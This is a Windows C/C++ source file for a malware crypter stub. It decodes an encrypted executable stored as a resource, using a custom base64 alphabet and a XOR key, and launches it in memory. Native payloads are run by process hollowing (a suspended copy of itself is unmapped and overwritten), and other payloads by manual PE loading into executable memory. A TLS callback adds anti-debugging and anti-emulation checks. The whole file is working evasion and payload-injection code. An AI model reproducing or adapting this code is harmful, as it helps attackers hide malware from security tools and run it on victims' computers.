

#pragma warning(disable: 4244)

#pragma comment(lib, "Shlwapi.lib")
#pragma comment(linker,"/include:__tls_used")

#pragma section(".CRT$XLB", read)

#include <Windows.h>
#include <Shlwapi.h>
#include <assert.h>


typedef LONG (WINAPI *NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

static char encoding_table[] = 
{
	'=', 'w', 'e', 'r', 't', 'y', 'u', 'i',
	'o', 'p', 'a', 's', 'd', 'f', 'g', 'h',
	'-', 'k', 'l', 'z', 'x', 'c', 'v', 'b',
	'n', 'm', 'Q', 'W', 'E', 'R', 'T', 'Y',
	'<', 'I', 'O', 'P', 'A', 'S', 'D', 'F',
	'G', 'H', 'J', '/', 'L', 'Z', '@', 'C',
	'V', 'B', 'N', 'M', '9', '8', '7', '6',
	'5', '4', '3', '2', '1', '0', 'X', 'j'
};

static char *decoding_table = NULL;

byte *mDecode(const char *data, DWORD input_length, DWORD *output_length) 
{

	byte *decoded_data;
	DWORD i = 0, j = 0;
	int a = 0;

	*output_length = input_length / 4 * 3;

	if (decoding_table == NULL)
	{
		decoding_table = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 256);

		for (int i = 0; i < 64; i++)
		{
			decoding_table[(byte) encoding_table[i]] = i;
		}
	}

      
	if (data[input_length - 1] == '#')
	{
		 (*output_length)--;
	}

    if (data[input_length - 2] == '#')
	{
		 (*output_length)--;
	}

	decoded_data = (byte*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *output_length);
   
	if (decoded_data == NULL) 
	{
		return NULL;
	}

    for (i = 0, j = 0; i < input_length;) 
	{
		__int32 sextet_a, sextet_b, sextet_c, sextet_d, triple;

		sextet_a = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
        sextet_b = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
        sextet_c = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
        sextet_d = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];

        triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6);

        if (j < *output_length)
		{
			 decoded_data[j++] = (triple >> 2 * 8) & 0xFF;
		}
		
		if (j < *output_length)
		{
			 decoded_data[j++] = (triple >> 1 * 8) & 0xFF;
		}
       
		if (j < *output_length)
		{
			 decoded_data[j++] = (triple >> 0 * 8) & 0xFF;
		}

    }

    return decoded_data;
}

void Decode(byte *Data, DWORD Key, DWORD Size)
{
	for(DWORD i = 0; i < Size; i++)
	{
		Data[i] ^= Key;
		Data[i] -= Key;
	}
}


void WINAPI TlsCallback(PVOID Module, DWORD Reason, PVOID Context)
{
    DWORD dwAnti = 0xFFFFFFFF, Error = 0;
	VirtualProtectEx((HANDLE)0x154843, (LPVOID)0x388148, 0x14862, NULL, NULL);
	
	_asm
	{
		MOV EAX, FS:[18h];
		MOV EAX, [EAX+34h];
		MOV Error, EAX;
	}
	
	while(dwAnti != 0)
	{
		if(Error != ERROR_INVALID_PARAMETER)
			break;
		dwAnti--;
	}
	
	if(dwAnti)
	{
		ExitProcess(EXIT_FAILURE);
	}
}


HMODULE load_dll(const char *dll_name)
{
    HMODULE module;
 
    module = GetModuleHandleA(dll_name);
    
	if (!module)
	{
		module = LoadLibraryA(dll_name);
	}

    return module;
}

 
#define MAKE_ORDINAL(val)(val & 0xffff)
int load_imports(IMAGE_IMPORT_DESCRIPTOR *imp_desc, void *load_address)
{
    while (imp_desc->Name || imp_desc->TimeDateStamp) 
	{
        IMAGE_THUNK_DATA *name_table, *address_table, *thunk;
        
		char *dll_name = (char *)load_address + imp_desc->Name;
        
		HMODULE module = load_dll(dll_name);
       
		if (!module) 
		{
            return 0;
        }
 
        name_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->OriginalFirstThunk);
        
		address_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->FirstThunk);
 
        thunk = name_table == load_address ? address_table : name_table;
       
		if (thunk == load_address)
		{
			return 0;
		}
 
        while (thunk->u1.AddressOfData) 
		{
            unsigned char *func_name;
            
			if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal);
			}
            else
			{
				 func_name = (BYTE*)((IMAGE_IMPORT_BY_NAME *)((char *)load_address + thunk->u1.AddressOfData))->Name;
			}
 
            address_table->u1.Function = (DWORD)GetProcAddress(module, (char *)func_name);
 
            thunk++;
            address_table++;
        }

        imp_desc++;
    }

    return 1;
}
 
void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size, DWORD new_imgbase, DWORD old_imgbase)
{
    IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end;
   
	DWORD delta = new_imgbase - old_imgbase;   
 
	reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size);
   
	while (cur_reloc < reloc_end && cur_reloc->VirtualAddress) 
	{
        int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
       
		WORD *cur_entry = (WORD *)(cur_reloc + 1);
        
		void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress);
 
        while (count--) 
		{
            if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW)
			{
				 *(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta;
			}

            cur_entry++;
        }

        cur_reloc = (IMAGE_BASE_RELOCATION *)((char*)cur_reloc + cur_reloc->SizeOfBlock);
    }
}
 
IMAGE_NT_HEADERS *get_nthdrs(void *map)
{
    IMAGE_DOS_HEADER *dos_hdr;
    dos_hdr = (IMAGE_DOS_HEADER *)map;
    return (IMAGE_NT_HEADERS *)((char*)map + dos_hdr->e_lfanew);
}

void *load_pe(void *fmap)
{
    IMAGE_NT_HEADERS *nthdrs;
   
	IMAGE_DATA_DIRECTORY *reloc_entry, *imp_entry;
   
	void *vmap;
    
	WORD nsections, i;
    
	IMAGE_SECTION_HEADER *sec_hdr;
    
	size_t hdrs_size;
    
	IMAGE_BASE_RELOCATION *base_reloc;
 
    nthdrs = get_nthdrs(fmap);
    
	reloc_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
   
    if (!reloc_entry->VirtualAddress)
	{
		  return NULL;
	}
    
    vmap = VirtualAlloc(NULL, nthdrs->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
	if (!vmap)
	{
		 return NULL;
	}
 
    nsections = nthdrs->FileHeader.NumberOfSections;
    
	sec_hdr = IMAGE_FIRST_SECTION(nthdrs);
    
	hdrs_size = (char*)(sec_hdr + nsections) - (char*)fmap;
   
	memcpy(vmap, fmap, hdrs_size);
   
    for (i = 0; i < nsections; i++) 
	{
        size_t sec_size;
        sec_size = sec_hdr[i].SizeOfRawData;
        memcpy((char*)vmap + sec_hdr[i].VirtualAddress, (char*)fmap + sec_hdr[i].PointerToRawData, sec_size);
    }
 
    imp_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    
	if (!load_imports((IMAGE_IMPORT_DESCRIPTOR *)((char*)vmap + imp_entry->VirtualAddress), vmap))
	{
		goto c;
	}

    base_reloc = (IMAGE_BASE_RELOCATION *)((char*)vmap + reloc_entry->VirtualAddress);
    
	fix_relocations(base_reloc, reloc_entry->Size, (DWORD)vmap, nthdrs->OptionalHeader.ImageBase);
    
	return (void *)((char*)vmap + nthdrs->OptionalHeader.AddressOfEntryPoint);

c:

    VirtualFree(vmap, 0, MEM_RELEASE);

    return NULL;
}
 

int Executer(char *self)
{

	HRSRC hRes = FindResourceA(NULL, "Strings", RT_RCDATA);
	
	HGLOBAL hGlob = LoadResource(NULL, hRes);

	char *FileData = (char*)LockResource(hGlob);

	DWORD FileDataSize = SizeofResource(NULL, hRes);

	DWORD FileDataDecodedSize = 0;
	
	byte *FileDataDecoded = mDecode(FileData, FileDataSize, &FileDataDecodedSize);

	Decode(FileDataDecoded, 1337, FileDataDecodedSize);
	
	PIMAGE_DOS_HEADER idh = (PIMAGE_DOS_HEADER)FileDataDecoded;
	PIMAGE_NT_HEADERS ith = (PIMAGE_NT_HEADERS)((DWORD)FileDataDecoded + idh->e_lfanew);

	if(ith->OptionalHeader.DataDirectory[14].VirtualAddress != 0)
	{
		MessageBoxA(HWND_DESKTOP, "Someone tried to i-n-f-e-c-t your pc with a .NET m-a-l-w-a-re, beware!!", "Skid warning", MB_OK | MB_ICONEXCLAMATION);
		ExitProcess(EXIT_FAILURE);
	}


	if(ith->OptionalHeader.DataDirectory[5].VirtualAddress == 0)
	{
		PIMAGE_DOS_HEADER IDH;
		
		PIMAGE_NT_HEADERS INH;
		
		PIMAGE_SECTION_HEADER ISH;
		
		PROCESS_INFORMATION PI;
		
		STARTUPINFOA SI;
		
		PCONTEXT CTX;
		
		PDWORD dwImageBase;
		
		NtUnmapViewOfSection xNtUnmapViewOfSection;
		
		LPVOID pImageBase;
		
		int Count;
 
		IDH = PIMAGE_DOS_HEADER(FileDataDecoded);
		if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
		{
			INH = PIMAGE_NT_HEADERS(DWORD(FileDataDecoded) + IDH->e_lfanew);
			if (INH->Signature == IMAGE_NT_SIGNATURE)
			{
				RtlZeroMemory(&SI, sizeof(SI));
				RtlZeroMemory(&PI, sizeof(PI));

				if (CreateProcessA(self, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
				{
					CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
					
					CTX->ContextFlags = CONTEXT_FULL;
					
					if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
					{
						ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
 
						if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
						{
							xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
							xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
						}
 
						pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
					
						if (pImageBase)
						{
							WriteProcessMemory(PI.hProcess, pImageBase, FileDataDecoded, INH->OptionalHeader.SizeOfHeaders, NULL);
						
							for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
							{
								ISH = PIMAGE_SECTION_HEADER(DWORD(FileDataDecoded) + IDH->e_lfanew + 248 + (Count * 40));
								WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(FileDataDecoded) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
							}

							WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
						
							CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
						
							SetThreadContext(PI.hThread, LPCONTEXT(CTX));
						
							ResumeThread(PI.hThread);
						}
					}
				}
			}
		}

		VirtualFree(FileDataDecoded, 0, MEM_RELEASE);
	}
	else
	{
	
		void *ep = load_pe(FileDataDecoded);
		
		if (!ep)
		{
			return EXIT_FAILURE;
		}

		__asm 
		{
			mov ebx, fs:[0x30]
			mov eax, ep
			call    eax
		}
	}

	return EXIT_SUCCESS;
}

LPSTR *CommandLineToArgvA(LPSTR lpCmdLine, int *pNumArgs)
{
    int retval;
    
	retval = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpCmdLine, -1, NULL, 0);
   
	if (!SUCCEEDED(retval))
	{
		return NULL;
	}

    LPWSTR lpWideCharStr = (LPWSTR)malloc(retval *sizeof(WCHAR));
   
	if (lpWideCharStr == NULL)
	{
		 return NULL;
	}

    retval = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpCmdLine, -1, lpWideCharStr, retval);
    
	if (!SUCCEEDED(retval))
    {
        free(lpWideCharStr);
        return NULL;
    }

    int numArgs;
   
	LPWSTR *args;
 
	args = CommandLineToArgvW(lpWideCharStr, &numArgs);
   
	free(lpWideCharStr);
    
	if (args == NULL)
	{
		 return NULL;
	}

    int storage = numArgs * sizeof(LPSTR);
    
	for (int i = 0; i < numArgs; ++i)
    {
        BOOL lpUsedDefaultChar = FALSE;
       
		retval = WideCharToMultiByte(CP_ACP, 0, args[i], -1, NULL, 0, NULL, &lpUsedDefaultChar);
       
		if (!SUCCEEDED(retval))
        {
            LocalFree(args);
            return NULL;
        }

        storage += retval;
    }

    LPSTR* result = (LPSTR*)LocalAlloc(LMEM_FIXED, storage);
    
	if (result == NULL)
    {
        LocalFree(args);
        return NULL;
    }

    int bufLen = storage - numArgs * sizeof(LPSTR);
   
	LPSTR buffer = ((LPSTR)result) + numArgs * sizeof(LPSTR);
   
	for (int i = 0; i < numArgs; ++ i)
    {
        assert(bufLen > 0);
       
		BOOL lpUsedDefaultChar = FALSE;
       
		retval = WideCharToMultiByte(CP_ACP, 0, args[i], -1, buffer, bufLen, NULL, &lpUsedDefaultChar);
       
		if (!SUCCEEDED(retval))
        {
            LocalFree(result);
            LocalFree(args);
            return NULL;
        }

        result[i] = buffer;
      
		buffer += retval;
        
		bufLen -= retval;
    }

    LocalFree(args);

    *pNumArgs = numArgs;
    return result;
}


__declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK CallbackAddress[2] = { TlsCallback, NULL }; 

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	int argc = 0;
   
	char **argv = CommandLineToArgvA(GetCommandLineA(), &argc);

	Executer(argv[0]);

	return EXIT_SUCCESS;
}
